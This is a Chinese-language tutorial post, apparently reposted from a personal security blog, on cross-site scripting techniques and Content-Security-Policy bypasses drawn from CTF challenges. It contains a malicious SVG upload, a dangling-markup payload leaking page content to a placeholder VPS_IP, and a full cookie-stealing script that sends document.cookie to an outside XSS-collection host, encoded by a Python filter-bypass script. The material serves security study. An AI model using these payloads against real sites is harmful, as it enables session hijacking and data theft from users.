SVG作为一个矢量图,但是却能够执行javascript脚本,如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss

1.svg

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

利用条件:

  • 可以上传svg图片

不完整的资源标签获取资源

看看下面的例子,我们如何把flag给带出来

1
2
3
4
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见
虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出

1
exp: http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a=

此时,由于src的引号没有闭合,html解析器会去一直寻找第二个引号,引号其中的大部分标签都不会被解析,所以在第四行的第一个引号前的所有内容,都会被当成src的值被发送到我们的vps上
需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<,否者不会发出

利用条件:

  • 可以加载外域资源 (img-src: *)
  • 需要获取页面某处的信息

CSS选择器获取内容

CRLF绕过

HCTF2018的一道题,当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP
原题github https://github.com/Lou00/HCTF2018_Bottle

例题

[CISCN2019 华东北赛区]Web2

https://mochu.blog.csdn.net/article/details/105212961

投稿存在XSS,但是存在一些过滤,使用Markup
转码,然后eval执行JS代码,并且需要一个window.location.href来自动触发刷新颜面
使用题目提供的站内XSS平台

添加windows.location.href,并删去if判断那一段

1
(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=arHAGx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

然后利用脚本,进行编码绕过,并且执行

1
2
3
4
5
6
xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=arHAGx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

参考文章:
前端HACK之XSS攻击个人学习笔记 http://www.cnfluffy.com/2019-03-11/4963
dom型
https://github.com/JnuSimba/MiscSecNotes/blob/master/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/DOMXSS.md
解码顺序 https://github.com/JnuSimba/MiscSecNotes/blob/master/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/%E8%A7%A3%E7%A0%81%E9%A1%BA%E5%BA%8F.md

Content Security Policy 入门教程
XSS总结

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:29:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xss漏洞http://cn-sec.com/archives/721669.html

发表评论

匿名网友 填写信息